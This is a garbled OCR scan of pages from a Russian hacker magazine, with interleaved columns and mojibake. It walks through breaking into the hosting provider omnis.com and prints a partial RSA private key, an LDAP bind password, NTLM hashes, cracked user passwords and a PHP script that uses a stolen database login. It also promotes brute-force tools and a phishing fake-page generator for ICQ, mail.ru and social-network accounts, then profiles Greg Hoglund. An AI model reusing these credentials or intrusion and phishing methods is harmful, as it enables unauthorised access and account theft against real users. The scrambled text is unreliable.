провайдер предоставляет свои услуги всего h+2FH/mxwYueNxgaAu5y+kFa9+kJWj
на одном-двух очень мощных серверах. Так Перебравшись в него, сразу становится ясно, ofhM4gzjTtuqhF8zl71nrVYt0mcCAmxz2J
что шанс «промахнуться» и приобрести в что мы имеем дело с подключенным NFS- b6daB+MZMVo00CQQD3UF+tXO299PgO
аренду ненужный тебе хостинг очень мал. сервером с распределением нагрузки на FIo138LyVrxBCnHX7THMod0cx2n8DkEj29
жесткие диски (наверняка отдельный RAID- LCtRz93nBuYqyRVUeSoBTOWODd+jfY
ÑÓÈÄÍÀß ÊÀÏÅËËÀ Первое, что порадо- массив с поддержкой iSCSI или оптики). А 7MWDuSAnAkEA48sV7yDO+gNECOeBPTbuJ6
вало, когда был залит шелл — это отсутствие также проясняется, где хранится все самое qoxk0ohHnyWWh6IkxP0OaiwyutG8y6
включенного SAFE_MODE и пустой список интересное: zg6wLzwVcJ54f8hgsCjeNhwTH+CIp4Pe9w
недопустимых функций. Казалось бы, запу- JBAPZA6YPNzEwg5/3dJeGO9KYpBzoc
скай что угодно, делай что угодно — все <Directory /webroot/?/?/*/*> FE9UtwlzAp/tT/LSnrn94FZP0JZYLss7JW
разрешено. Как бы ни так — вместо привыч- Options -Indexes lw6Ntu2ki85usggwtUdzc51nECQEnY
ного ответа «nobody» или «www» на вопрос SymLinksIfOwnerMatch -MultiViews xq2VF0RZ1q6ETpOHwUE+xCQ1U1NPLU/
«whoami» был получен вполне вразумитель- ExecCGI Includes q3N1Nm/p/KnjXKfF/N3ghruBBPDocRbg3
ный «burnm001», то есть, имя конкретного AllowOverride Indexes P5EcTp2AEHsfEW4tBBUCQHSo04Muyx+TvH
владельца данного сайта (на который и FileInfo AuthConfig Limit Options= 06FAwrNcoJmR5xw+kmSjSihbFlDVmh
был установлен шелл). Кроме того, права Includes,IncludesNOEXEC,MultiViews 8ND2PP7SJPsnyxA8i7UHq7PuqRw/
на файлы установлены так, что содержимое ,Indexes,SymLinksIfOwnerMatch,None c6CuDUNv0A3x2aQ=
соседних сайтов недоступно вовсе. Для этого Order allow,deny -----END RSA PRIVATE KEY-----
веб-сервер сконфигурирован таким образом, Allow from all
что во время запуска пользовательских про- </Directory> Ведь, что интересно, права как раз на эти

XÀÊÅÐ 01 /133/ 10 061


ВЗЛОМ

СВОДНАЯ ТАБЛИЦА «ЧЕРНОЙ» МАЛЫШКА НА МИЛЛИОН ДОЛЛА-


БУХГАЛТЕРИИ СВЯТОГО OMNIS- РОВ — РЕБЯТА ЗА МЕСЯЦ «ПЕРЕ-
ПРОВАЙДЕРА — ЗА ОДИН МЕСЯЦ РАБАТЫВАЮТ» БОЛЬШЕ 1.5
МИЛЛИОНОВ ЗЕЛЕНЫХ ДЕНЕГ

файлы позволяют нам их не только прочесть, VhostLDAPBindPassword


но и изменить. Фантазия сразу подсказыва- "ns43k6xs"
ет массу забавных вариантов применения VhostLDAPFallback cust.omnis.
полученных сертификата и соответствующего com
ему секретного ключа. Самый интересный </IfModule>
вариант — использование программ sslstrip
и sslsniff, но только с небольшой доработкой, LDAP — ÎÍ È Â ÀÔÐÈÊÅ LDAP Такой под- ОСТРОВ ПАСХИ — ВСЕ «КАМЕН-
которая вместо ошибочных сертификатов ход к авторизации пользователей и раздаче
НЫЕ ОДМИНЫ» РОДОМ ОТСЮДА
выдавала бы пользователям Omnis вполне контента на мега-сервере является крайне
себе легальный сертификат того же Omnis, многообещающим. Во-первых, это означает, порт 389 по протоколу TCP. Запомни! Всякая
да еще и прямо в онлайне позволяла полно- что админы работают с тачками, на которых запись (строка подключения) в каталоге
стью читать любые зашифрованные данные стоит Windows, а сами изредка подключаются LDAP состоит из одного или нескольких
пользователей. Прочитавши статью о взломе к мега-серверу (куда мы, собственно, и про- атрибутов и обладает уникальным именем
SSL в прошлых номерах, не составит труда никли), для управления и мониторинга дел. (DN — от Distinguished Name). Уникальное
проделать необходимые изменения в кон- Во-вторых, великий сидящий воин Апач не имя может выглядеть, например, следующим
фигурации этих программ. Однако вернемся умеет авторизовываться в LDAP со сложными образом: «cn=Иван Петров, ou=Сотрудники,
к нашим священным барашкам. Объявив схемами аутентификации. Это означает, что dc=example, dc=com». Уникальное имя
праздник курбан-байрам, находим в конфи- написанный в открытом виде пароль в строч- состоит из одного или нескольких относи-
гурации Апача строку со ссылкой на LDAP- ке "VhostLDAPBindPassword "ns43k6xs" — это тельных уникальных имен (RDN — от Relative
авторизацию: как раз тот пароль, с которым нас пустят в Distinguished Name), разделенных запятой.
контроллер домена! Праздник продолжает- Относительное уникальное имя имеет вид
[/webroot/d/] cat /etc/httpd/ ся, когда незамыленный взгляд замечает, «ИмяАтрибута"="значение». На одном уровне
conf.d/mod_vhost_ldap.conf помимо пароля, еще и строку подключения к каталога не может существовать двух записей
ветви LDAP. Вообще говоря, LDAP — это не с одинаковыми относительными уникальными
LoadModule vhost_ldap_module только сетевой протокол для доступа к службе именами. В силу такой структуры уникального
modules/mod_vhost_ldap.so каталогов, который используется в системе имени записи в каталоге LDAP можно легко
Windows для хранения всего-всего-всего, но представить в виде дерева. Запись может
<IfModule mod_vhost_ldap.c> и система обработки информации, которая состоять только из тех атрибутов, которые
VhostLDAPEnabled on включает в себя простой протокол, исполь- определены в описании класса записи (object
VhostLDAPUrl "ldap://ldap. зующий TCP/IP и позволяющий производить class), которые, в свою очередь, объединены
omnis.com/ou=Domains,dc=ldap,dc=om операции аутентификации (bind), поиска в схемы (schema). В схеме определено, что
nis,dc=com" (search) и сравнения (compare), а также опе- одни атрибуты являются для данного класса
VhostLdapBindDN рации добавления, изменения или удаления обязательными, а другие — необязательны-
"cn=root,ou=Special записей. Контроллер домена (по сути, LDAP- ми. Также схема определяет тип и правила
Users,dc=omnis,dc=com" сервер) принимает входящие соединения на сравнения атрибутов. Каждый атрибут записи

ИОАНН ПОТРОШИТЕЛЬ... ВОИСТИНУ, GOOGLE — НОВАЯ РЕЛИГИЯ

062 XÀÊÅÐ 01 /133/ 10


ПОЛЬЗОВАТЕЛИ ИЗНУТРИ LDAP

может хранить несколько значений. О тонко-


стях настройки и работы LDAP мы писали в
статье «Контроллер домена на SAMBA за семь
шагов» (в 6 номере z за 2008 год). Остается
лишь вопрос, как получить доступ к серверу
LDAP, который по совместительству испол-
няет роль контроллера домена? Извне нас
поджидает межсетевой экран, начиненный КЛЮЧИКИ, ПАРОЛИКИ, СЕКРЕТИКИ...
запрещающими правилами, как казанский
плов рисом. Но вот внутри бокса консольных A841A86FA:E9A75F1EAD4F9B24A9799D0 ванных сайтах (как, например, lmcrack.com
приложений для работы с LDAP попросту нет, 214FCBF или hashcracking.info), а также собственные
так что свежеустановленный шелл нам не силы в виде Passwords Pro и John the Ripper.
поможет. Остается только одно — установить в Тут-то нам и пригодятся разнообразные Причем, использование брутера Passwords
систему все, что нужно, самим. Ничего не ска- методы взлома NTLM-хешей (не могу не Pro не исключает использование John the
жешь, наглость города берет, да и программка поделиться: пока искал правильные сайты Ripper, а наоборот, только дополняет. Что в
быстро нашлась подходящая — phpLDAP- для взлома LM-хешей, нашел забавный сайт итоге? Немного потения процессором и шур-
admin (скачать можно по адресу phplda- unix.com, в котором на русский язык оказа- шания диском — и вот они, золотые слова:
padmin.sourceforge.net). Средство лось переведено название John the Ripper —
phpLDAPadmin написано целиком на PHP, дядюшка Google окрестил его Иоанном (свя- brad:d3acdd9;m
работает без необходимости установки каких- той брутер, все-таки)). Советую параллельно fromm:e3X3xxde
либо библиотек и патчей, что идеально под- использовать взлом с помощью радужных gchon:1ghcon911
ходит для установки на добытом шелле. таблиц, опробование их на специализиро- joel:tchenolaw
Устанавливаем с помощью шелла
phpLDAPadmin на ранее исследованный
вдоль и поперек нами хост. Вписываем СВЯТОЙ ПРОВАЙДЕР OMNIS.COM
адрес контроллера и строку подклю-
чения с паролем в конфигурационный
файл, запускаем, наслаждаемся досту-
пом, который позволяет нам подсчитать
количество настоящих пользователей (их
в системе 27), а также посмотреть их пароли
в формате NTLM! Дельный совет — чтобы
получить доступ ко всей информации, необ-
ходимо, во-первых, воспользоваться
усечением строки доступа до корневого
домена (то есть, чтобы строка выгля-
дела как «dc=omnis,dc=com» вместо
«cn=root,ou=Special Users,dc=
omnis,dc=com»), а во-вторых, использовать
не простой поиск, а экспорт данных из LDAP
в файл просто формата — например, CSV.

brad:1000:986BB475FD95731486235A2
333E4D2:68227ACC65C876AD0D1A627C3
2A06BD7
fromm:1001:0BAD9021C73A4417306D27
2A9441BB:2DAD344B45B352CBD399D345
E8B9B308
gchon:1003:BE11A10D73AA31AAD3B435
B51404EE:4AB4FEF0EDA7B2D5A7A57503
B0C16B65
joel:1004:505CC6DF3797A3352502E32
A407F23:1AE71A4A01F80B00CC1F06D60A
53AA7F
root:1005:FF1D3ABC1797B8CDE68AA26

XÀÊÅÐ 01 /133/ 10 063


ВЗЛОМ
RAZ0R HTTP://RAZ0R.NAME

ВОТ ТАКОЙ ВОТ СТАРЕНЬКИЙ И ПРОСТЕНЬКИЙ R57-ШЕЛЛ И ВЕРШИТ


СУДЬБЫ ГОЛИАФОВ (ПОЛЬЗУЯСЬ СЛУЧАЕМ, ПЕРЕДАЮ ПРИВЕТ M0R0)

ПРОВАЙДЕРУ БОЛЬШЕ 10 ЛЕТ,


И У НЕГО ОЧЕНЬ МНОГО НАГРАД...
ПОДРОСЛИ, НО НЕ ПОВЗРОСЛЕЛИ
РАБОТА СПЛОИТА НА УЯЗВИМОМ САЙТЕ (ВИДНО ВСЕ — И УЧЕТКИ АД-
root:b&xId(cO МИНА, И ХЕШИ ЕГО ПАРОЛЕЙ)

Пробуем вводить полученные пароли прямо or die("cannot use database ÔÈÍÀËÜÍÛÉ ØÒÐÈÕ Опытному
в логин-шелле, однако получаем отказ — '$line'"); исследователю этого мало — наглеем
шелл у нас индейский (от Апача), для этих $q = mysql_query("select дальше и устанавливаем на хостинг
целей не приспособленный. Придется искать option_value from wp_options прокси-сервер (для этих целей отлично
обходной путь. Правда, попутное проме- where option_name = 'siteurl'") подойдет 3proxy). Как только он уста-
жуточное решение тоже ничего — один из or die("cannot select"); новлен, нас уже ничего не отделяет от
паролей подошел к mysql-базе данных, кото- $arr = mysql_fetch_array($q) or рабочих компов админов — они уже
рая оказалась рядом (по адресу mysql.omnis. die("cannot fetch"); совсем близко. Настраиваем «прыжок»
com). Полученный к СУБД доступ был руто- echo $arr[0], "\n"; с помощью sockschain от нашего кли-
вым — это сильно порадовало, так как среди mysql_close($mc) or \ ентского подключения на выделенном
хостеров OMNIS.COM немало товарищей с die("cannot close"); дедике к известному адресу админ-
PageRank 6 и 7, а они (как мы помним) стоят } ского компа (например, к gchon.omnis.
денег. С помощью простого скрипта, загру- fclose($fh); com). Включаем RDP-клиент и получаем
женного через шелл, подбираем доменное ?> консоль на удаленном рабочем столе с
имя сайта (чтобы оценить затем PageRank) Windows XP SP2 EN. Но самое интерес-
по имени базы данных и ее типу: Скрипт легко можно модифицировать под ное оказалось не в нем (его использова-
свои нужды, размер у него микроскопический. ние вызвало ажиотаж в стане админов,
<?php На вход ему надо подавать имя файлов со и «лавочка» быстро закрылась), а в кон-
$mysql_username="joel"; списком баз данных из mysql (благо, с руто- соли управления провайдерскими акка-
$mysql_password="tchenolaw"; вым доступом они известны все), а на выходе унтами и пользователями — любопытная
$mysql_host="mysql.omnis.com"; он будет выдавать вот такой листинг: статистика приведена на скриншотах.
Очевидно, что православный хостинг не
$fh = fopen("bases.txt", "r"); teamdeadbunny.com/wp/ столь убыточен, как могло бы показаться
while (!feof($fh)) blog.controlfreeks.com.au/wp/ на первый взгляд — заработать за непол-
{ dapitalone.co.uk/ ных 11 месяцев 1,5 млн. долларов оборо-
$line = fgets($fh, 4096); johnadams.tv/blog02/ та может не каждый провайдер.
chop($line); blog.hurtvillage.com/ Общий итог — несмотря на все пред-
albdam.com/ принятые меры безопасности, провай-
echo "database: ", $line, "\n"; johannes.happcomm.com/ дер сдал свои фортификации под дав-
$mc = mysql_connect($mysql_ chris.themartins.com.au/ лением наших знаний и умений. Читай
host, $mysql_username, $mysql_ casinoroad.org/ z и все у тебя получится! Как сказали

password) or die("cannot connect www.chemheritage.org/ бы древние, «OMNIS.COM mea mecum


to db!"); chicagodigitalgraphics.com/wp/ porto» или «мой провайдер всегда со
mysql_query("use $line;") ... мной» :). z

064 XÀÊÅÐ 01 /133/ 10


ВЗЛОМ
МАГ ICQ 884888, HTTP://WAP-CHAT.RU

X-TOOLS
ПРОГРАММЫ ДЛЯ ХАКЕРОВ

ПРОГРАММА: Icq Birthday Символы в масках значат следующее: 4. Кидаем найденные мыла в брутфорс с воз-
Generator 0.2b d — день; можными паролями 20011992, 19922001, 200192
ОС: WINDOWS 2000/2003/XP/ m — месяц; и т.д.;
VISTA/7 y — год, 4 символа; 5. Ждем результата.
АВТОР: NOPSTER u — год, 2 символа (1985 -> 85). Как видишь, данный алгоритм является очень
Для примера берем дату 12.12.1980 и UIN трудоемким, поэтому, не мудрствуя лукаво,
123456, далее вбиваем маски dmy, ymd, запускай Mail_Scan и указывай в соответствую-
ddd и dmu. щих полях следующие данные:
В итоге мы получаем готовый для пос- • рабочий логин и пароль для входа в Mail@
ледующего брута файлик вот в таком агент (мыло должно быть именно в зоне @mail.
формате: ru, а не @bk.ru и т.д.);
• возраст, день рождения и пол жертвы;
123456;12121980 Далее, при нажатии кнопки «Старт», прога
123456;19801212 запустит до 200 процессов единовремен-
123456;121212 но и начнет нелегкий процесс брутфорса
123456;121280 :). Из особенностей программы следует
отметить:
Собственно, программы для брутфорса асек ты
легко сможешь найти в предыдущих выпусках • îáõîä îãðàíè÷åíèÿ íà êîëè÷åñòâî
X-Tools. çàïðîñîâ (ïðîãðàììà ìîæåò ðàáîòàòü â
ðåæèìå non-stop);
• îïöèÿ ïåðåáîðà ïî äíÿì (ïðîãà
ПРОГРАММА: Mail_Scan [1.4] íà÷íåò â öèêëå ïåðåêëþ÷àòü äíè,
ОС: WINDOWS 2000/2003/XP/ íà÷èíàÿ ñ òîãî, êîòîðûé áûë óêàçàí
VISTA/7 èçíà÷àëüíî);
АВТОР: KY_KASK • îïöèÿ àâòîî÷èñòêè êåøà (ïðè êàæäîì
çàïðîñå ïðîãà óäàëÿåò ôàéë mail.cvx —
Интерфейс генератора ñïèñîê óæå ïðî÷åêàííûõ àäðåñîâ);
• ñâîðà÷èâàåòñÿ â òðåé;
Если ты занимаешься брутом асек, то, навер- • îïöèÿ «Òîëüêî îíëàéí» (èùóòñÿ
няка, не раз замечал, что в паролях юзеров ëþáûå àäðåñà â îíëàéíå, ìåðòâûå è
зачастую можно встретить вариации на тему их çàáðîøåííûå ÿùèêè èäóò ëåñîì);
дней рождений: 12121980, 19801212, 12198012 и • âñå ðåçóëüòàòû ñåàíñà ïîñëå çà-
т.д. Каким образом можно упростить брут таких êðûòèÿ ïðîãðàììû ñîõðàíÿþòñÿ â ôàéë
паролей? Над этим вопросом задумался мембер «Mail_Scan_result.txt».
Античата nopster и создал свой Icq Birthday
Generator — программу, которая предназначена Mail_Scan за работой Удачного брутфорса и легких паролей! :)
для генерации специального брутфорс-списка,
основанного на переборе всех вариантов написа- Продолжая тему паролей, состоящих из цифр дня
ния дня рождения пользователя. рождения пользователя, нельзя не упомянуть о ПРОГРАММА: ArxParsing
Использовать генератор довольно-таки просто: замечательном брутфорсе Mail_Scan от ky_kask. ОС: WINDOWS 2000/2003/XP/
1. Выбираем файл с ICQ-уинами и датами дней Прога предназначена для подбора паролей к ящи- VISTA/7
рождения в формате «uin;day.month.year»; кам на mail.ru. Действие основано на двух фактах: АВТОР: ARXWOLF
2. В поле «Маска» записываем маски — формат 1. Очень часто юзеры указывают в качестве Если ты занимаешься брутфорсом (неважно
сохранения даты в итоговом файле, в каждой пароля свой день рождения (на mail.ru эта каким), то знаком с проблемой обработки самых
строке должна быть маска, например, в следую- тенденция особенно глобальна); различных словарей. Наверняка, у тебя уже
щих форматах: 2. В Mail@агенте присутствует функция поиска есть проверенные временем программы под
контактов по дате рождения. эти цели, но, все же, позволь посоветовать тебе
dmy Теперь давай представим алгоритм перебора замечательный и мощный инструмент для об-
dmu паролей по дням рождения без этой специаль- работки словарей и текстовых файлов любого
dym ной программы: размера — ArxParsing от сообщества http://
dum 1. В Mail@агенте указываем возраст от 18 до 18 webxakep.net.
mud (то есть 1992 год); Функционал проги впечатляет:
myd 2. Дата рождения — 20 января (20.01);
mdy 3. Нажимаем кнопку «Поиск», видим на экране • îïöèÿ «Àíòè äóáëü»
mdu список из 50 адресов; • ïàðñåð êîëîíîê

066 XÀÊÅÐ 01 /133/ 10


при генерации мы можем указывать нужные • удобный и настраиваемый интерфейс;
нам маски для паролей. • создание фейков любой сложности;
6. Весь текст в одну строку. • поддержка протоколов http и https;
Приводим любой текст, вроде • замена локальных путей в src, href, @import,
Form.Action, background, background-image;
ß • полностью автоматическая генерация фейков
êðóòîé • генерация трех файлов (index.php, login.php,
ìåãà base.php);
õàêåð • возможность выбора типа базы (локальная
! или отправка логов на почту);
Интерфейс парсера • выбор типа главной (index.php, index.html,
к виду «Якрутоймегахакер!». index.htm);
• ãåíåðàòîð UIN:PASS • дополнительная замена строк (до 5);
• ãåíåðàòîð ïàðîëåé (àíãëèéñêèå áóê- 7. Несколько словарей в один. • возможность указания переадресации;
âû, öèôðû, ñèìâîëû, äëèíà) В случае, когда у нас есть несколько словарей, • встроенные шаблоны («ВКонтакте», «Одно-
• ãåíåðàòîð ïàðîëåé ïî ìàñêå но вручную их объединять проблематично, классники», «Яндекс», Google, Mail.ru);
(qwerty{gen}) юзаем данный инструмент. • возможность выбора кодировки страницы;
• ñîåäèíåíèå íåñêîëüêèõ ñëîâàðåé â 8. Соединить Слово:Пароли. • возможность вырезания javascript;
îäèí (äî òðåõ ñðàçó) Инструмент для создания хороших словарей. • встроенная отладка программы.
• ñîåäèíåíèå äâóõ ñëîâàðåé ïî ëîãèíó Например, у нас имеется 2 файла: пароли в стол- Созданные программой фейки не отличишь на
è ïàðîëþ бик, асечные номера в столбик. Выбираем эти первый взгляд от страниц настоящих сайтов,
• óäàëåíèå ïåðåíîñîâ èç ôàéëà, òåêñò файлы в соответствующих окошках и получаем так что твои жертвы будут с удовольствием
â îäíó ñòðîêó на выходе готовый пасс-лист для брутфорса. вбивать свои приватные данные в формы под-
• ðåãóëÿðíûå âûðàæåíèÿ — ïîèñê 9. Обработка регулярными выражениями — ставной страницы :)
• ðåãóëÿðíûå âûðàæåíèÿ — çàìåíà поиск.
• ôàéë ïîìîùè ïî èñïîëüçîâàíèþ ïðî- Этот инструмент предназначен для выдирания ПРОГРАММА:
ãðàììû из текста нужных тебе параметров по маске. QOSCARMASSINFOCHANGER
• ëîãèðîâàíèå ðàáîòû Для начала работы вводи регулярное выра- ОС: WINDOWS 2000/2003/XP/
жение в «Поиск значений», выбирай «Match» VISTA/7
Теперь остановимся подробнее на каждом из (количество совпадений) и начинай поиск. АВТОР: RANKOR
пунктов: 10. Обработка регулярными выражениями —
1. «Анти дубль». замена.
Суть инструмента заключается в удалении Заменяем с помощью регулярных выражений
дубликатов строк, сортировке, вырезании про- нужные нам куски текста на новые.
белов и строк, которые не подходят по длине. Если тебе понравилась программа, советую
Для начала работы с инструментом вводи регулярно следить за ее обновлениями на
нужные данные в левое поле (если данные сайте автора.
содержатся в файле, то его можно выбрать
внизу слева), затем выбирай опции из раздела ПРОГРАММА: ArxWFakeGen
«Основная обработка» и жми «Начать». ОС: WINDOWS 2000/2003/XP/
2. Парсер колонок. VISTA/7
Выводит только ту колонку из спис- АВТОР: ARXWOLF Массовая смена инфы
ка, которая тебе нужна (к примеру, было
«uin;pass;email;name», выбираем вторую Напоследок представляю еще одну программу
колонку — стало «pass»). для работы с нашей любимой тетей Асей —
Для начала работы вводи данные в левое поле QOSCARMassInfoChanger.
(или, опять же, выбирай файл), выбирай опции Как видно из названия, тулза предназначена
из раздела «Работа с колонками», вводи раз- для массовой смены информации на множес-
делитель и номер колонки и дави «Начать». тве уинов.
3. Генератор UIN:PASS. Можно менять следующую информацию: ник,
Инструмент генерирует пасс-листы для имя, фамилию, страну проживания, город
брутфорса в формате «диапазон цифр+ проживания, пол, дату рождения, подпись
разделитель+пароль». Генератор фейков (поле «about»).
Например, у нас есть пароль «password» и нам Особенности проги:
необходимо сопоставить его с определенным Если ты занимаешься «рыбалкой» аккаунтов • многопоточность;
диапазоном асечных номеров. Для этого в по- в известных социальных сетях, то, наверняка, • поддержка кириллицы;
лях «от» и «до» вписываем нужный диапазон, в сталкивался с проблемой создания качествен- • кроссплатформенность (основана на Qt);
поле «Пароль» — наш пароль, вводим раздели- ных фейков нужных страниц. Вручную делать • сворачивается в трей;
тель и наслаждаемся результатом :). это было крайне трудозатратно. С программой • возможность указания таймаута;
4. Генератор паролей. ArxWFakeGen от уже известной тебе команды • счетчик прочеканных, измененных и ошибоч-
Название инструмента говорит само за себя — webxakep.net ты сможешь забыть о технических ных номеров.
здесь мы можем сгенерить пароль, исходя из аспектах создания фейков — фейкгенератор Для более подробной информации о програм-
нужных нам параметров. ArxWFakeGen все сделает за тебя! ме, а также для своевременной установки
5. Генератор паролей по маске. Особенности программы: обновлений советую посетить сайт автора
То же, что и предыдущий инструмент, но здесь • мощные алгоритмы регулярных выражений; http://ax-soft.ru. z

XÀÊÅÐ 01 /133/ 10 067


СЦЕНА
МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU

Ãðåã Õîãëàíä
Õàêåð, ïèñàòåëü, ãåéìåð
ÑÅÃÎÄÍß ß ÐÀÑÑÊÀÆÓ ÒÅÁÅ ÎÁ ÈÇÂÅÑÒÍÎÌ ÕÀÊÅÐÅ È ÍÀÑÒÎßÙÅÌ
«×ÅËÎÂÅÊÅ-ÎÐÊÅÑÒÐÅ». ÑÎÃËÀÑÈÑÜ, ÄÀËÅÊÎ ÍÅ ÂÑÅ ÂÅÄÓÙÈÅ
ÝÊÑÏÅÐÒÛ Â ÎÁËÀÑÒÈ ÈÁ ÓÑÏÅÂÀÞÒ ÍÅ ÒÎËÜÊÎ ÐÀÁÎÒÀÒÜ, ÍÎ
È ÏÈÑÀÒÜ ÊÍÈÃÈ, ÑÒÀÒÜÈ, ÂÅÑÒÈ ÁËÎÃÈ È ÑÀÉÒÛ, ÅÇÄÈÒÜ ÏÎ
ÂÑÅÂÎÇÌÎÆÍÛÌ ÊÎÍÔÅÐÅÍÖÈßÌ Ñ ÄÎÊËÀÄÀÌÈ È, ÏÐÈ ÂÑÅÌ
ÏÐÈ ÝÒÎÌ, ÆÈÂÎ ÈÍÒÅÐÅÑÎÂÀÒÜÑß ÎÍËÀÉÍÎÂÛÌÈ ÈÃÐÀÌÈ È
ÂÎÇÌÎÆÍÎÑÒÜÞ ÈÕ ÂÇËÎÌÀ. ×ÒÎ Æ, ÏÎÇÍÀÊÎÌÜÑß Ñ ÃÐÅÃÎÌ
ÕÎÃËÀÍÄÎÌ.
Обычно рассказы о «жизни замечательных лю- информационной безопасности и как человек, ликации в культовых езинах вроде Phrack это
дей» начинаются с даты их рождения, а также с собаку съевший на реверсном инжиниринге, хорошо, но широкой аудитории, а не узкому
нудного перечисления мест, где будущий гений и завсегдатай многих серьезных хакерских кругу гиков Хогланд стал известен значительно
рос, ходил в детский садик, школу, университет конференций и слетов — DefCon, BlackHat, RSA позже. Пожалуй, не покривив душой, можно
и так далее. Но сегодня не тот случай. Мы, в и так далее. сказать, что «славу мирскую» ему принес гром-
общем-то, и рады бы рассказать, когда Грег Здесь удивляться, в общем-то, нечему — кий скандал с компанией Blizzard, имевший
Хогланд появился на свет и где произошло это Грег начал интересоваться информацион- место в 2005 году. Дело в том, что с наступлени-
знаменательное событие, да только сам мистер ной безопасностью или, попросту говоря, ем XXI века и появлением всяческих онлайно-
Хогланд не спешит афишировать такие детали подался в хакеры, когда само понятие «ин- вых игр Хогланд всерьез и надолго заинтере-
своей биографии. Поэтому, не размениваясь на формационная безопасность» еще только совался этой областью, подсев на мморпг в не
биографические данные, придется нам ограни- зарождалось. Деревья тогда были больши- совсем типичном смысле.
читься исключительно его рабочей деятель- ми, домашние компы для человечества были Что ж, теперь, пожалуй, пора привнести кон-
ностью, благо, ее имеется в избытке и никакой в новинку, а информатику и смежные с ней кретики, а именно — рассказать тебе, чем же
«великой тайны» она собой не представляет. дисциплины еще не преподавали во всех наш герой отличился перед узкими и не очень
подряд учебных заведениях, включая даже кругами.
ÂÑÅ, ×ÒÎ ÂÛ ÕÎÒÅËÈ ÇÍÀÒÜ Î ÐÓÒÊÈÒÀÕ провинциальные колледжи. Кстати, именно Помимо всего уже перечисленного, Грег Хог-
Итак, чем известен Грег Хогланд? Узкому кругу по последней причине Хогланд, как и многие ланд еще и писатель. Давным-давно, открыв
интересующихся сценой он уже очень давно другие «первые ласточки»— самоучка. в себе талант разбираться в хитросплетениях
знаком как признанный эксперт в области Однако реверсный инжиниринг, хаки и пуб- кода и понимать механизмы различных атак,

068 XÀÊÅÐ 01 /133/ 09


АНОНИМУСЫ КООРДИНИРУЮТ ДЕЙСТВИЯ В IRC. 470
СЕКУНД ДО АТАКИ НА САЙТЫ IFPI

НАСТОЛЬНАЯ КНИГА КАЖДОГО УВАЖАЮЩЕГО СЕБЯ


ЧИТЕРА :)
ХОГЛАНД И МАКГРОУ ПРЕДСТАВЛЯЮТ СВОЮ КНИГУ

он так же заметил один «побочный эффект» выступает на всевозможных конах и форумах с риодически пишет. А с 2008 года Хогланд ведет
— у него очень хорошо и складно получалось лекциями и семинарами именно на эти темы. Но блог по адресу fasthorizon.blogspot.com.
объяснять людям, не столь сведущим в теме, Хогланд занимался и исследованием 64-битных
как все работает, зачем и почему. Пренебрегать платформ на предмет всевозможных уязвимос- ÔÀÐÌÈÍÃ Ñ ÓÌÎÌ
этим неожиданным открытием Хогланд не стал тей, и цифровыми подписями, и многим, многим Грег Хогланд не только талантливый хакер и пи-
и впоследствии оттачивал уже не только хакер- другим. Дело в том, что, добившись статуса сатель, он, ко всему прочему, еще и геймер. Да,
ские, но и писательские навыки. эксперта и влившись в нестройные хакерские сложно поверить в то, что такой занятой человек
За свою весьма продолжительную карьеру он ряды, Грег пошел проторенным путем — успевает играть в игрушки, но это чистая правда.
успел написать целый ворох статей, постов решил сделать из всего этого бизнес. На Более того, как уже было сказано выше —
и даже несколько книг. Но начало всему сегодняшний день Хогланд успел выступить с появлением разнообразных онлайновых
положила публикация в 55-м номере езина сооснователем трех фирм: HBGary, Cenzic забав Хогланд переключился именно на них. И,
Phrack, вышедшая в 1999 году. Она носила (ранее известная как ClickToSecure) и Bugscan. конечно, стоило ему окунуться в удивительный
говорящее название: «A *REAL* NT Rootkit, Все перечисленные конторы, само собой, мир мморпг, как в нем тут же проснулся хакер.
patching the NT Kernel» и посвящалась, как занимаются милым сердцу Грега реверсным Наш герой буквально не мог не заинтересо-
нетрудно догадаться, именно руткитам. И вот инжинирингом, разрабатывают софт для ловли ваться возможностью хакинга онлайновых
здесь кроется интересный нюанс — дело в том, «плохих парней» и предоставляют самые игр, а когда заинтересовался, то сделал это не
что windows-руткиты, фактически, появились различные секьюр услуги. И качество работы спустя рукава.
спустя почти десятилетие после так называе- Хогланда отлично характеризует один простой Одним из первых «громких плодов» интереса
мых стелс-вирусов, и тот факт, что их назвали факт — компания HBGary на постоянной основе Хогланда к играм стал скандал с компанией
именно руткитами, а не стелс-вирусами — сотрудничает с Министерством обороны США, Blizzard. В их многопользовательское детище —
заслуга исключительно Грега Хогланда и той и военные сотрудничеством очень довольны. World of Warcraft — Хогланд играл с самой
самой статьи во Phrack. По сути, официальная, ежедневная работа закрытой беты, игра ему искренне нравилась
Вообще, Хогланд довольно долго бился над Грега — это многомиллионные контракты, пос- и именно она стала главным объектом для
реализацией техники обхода системных меха- тупающие прямиком от правительства США. изучений. Но в ходе исследований Грег обна-
низмов защиты Windows — начиная, примерно, Удивительно, как при этом у него, вообще, ружил очень странную вещь: при ближайшем
с середины 90-х. В своих исследованиях он остается время на что-то, кроме работы, но оно, рассмотрении программный модуль The
опирался на исследования ядра Windows, опуб- тем не менее, остается. Warden («Надсмотрщик»), входящий в состав
ликованные в Usenet неким прогером из Шри- Не забывая и о писательской стезе, Хогланд, клиента игры, оказался самым настоящим
Ланки, а также на более ранние исследования на текущий момент, является автором уже трех spyware, сующим свой виртуальный нос во
всемирно известного гуру Джефри Рихтера. В книг, две из которых получили весьма широкое все подряд. Вообще, Warden и предназначен
итоге, Хогланд воплотил все это в жизнь виде признание: это написанная в соавторстве с именно для слежки — он приглядывает, чтобы
утилиты, нацеленной на сокрытие информации Гари МакГроу «Взлом программного обеспече- пользователь не запускал ботов, не использо-
в системе. Его тулза называлась NT Rootkit, а ния: анализ и использование кода» (Exploiting вал запрещенные аддоны, дающие серьезное
отчет о проделанной работе, свои мысли по это- Software) и «Руткиты: внедрение в ядро внутриигровое преимущество, не пытался
му поводу и много чего еще он изложил как раз Windows» (Rootkits, Subverting the Windows модифицировать софт и так далее.
в той самой статье. Вот так, с легкой руки Грега, Kernel). Обе книги издавались на русском, а о Но на деле Warden собирает очень много част-
подобные софтины и стали называть руткитами, третьем, оставшемся труде речь пойдет чуть ной информации, например, сканирует список
а сам Хогланд увековечил себя в истории :). ниже. всех запущенных на твоей машине процессов,
В дальнейшем исследования Хогланда, Помимо книг, Грег уже много лет успевает за- сравнивая их с сигнатурами процессов чи-
конечно, не концентрировались вокруг одних ниматься небезызвестным сайтом www.rootkit. терских. И впоследствии эта инфа может быть
только руткитов, хотя он до сих пор регулярно com, основателем которого является и куда пе- использована по-разному, в том числе, Blizzard

XÀÊÅÐ 01 /133/ 10 069


СЦЕНА

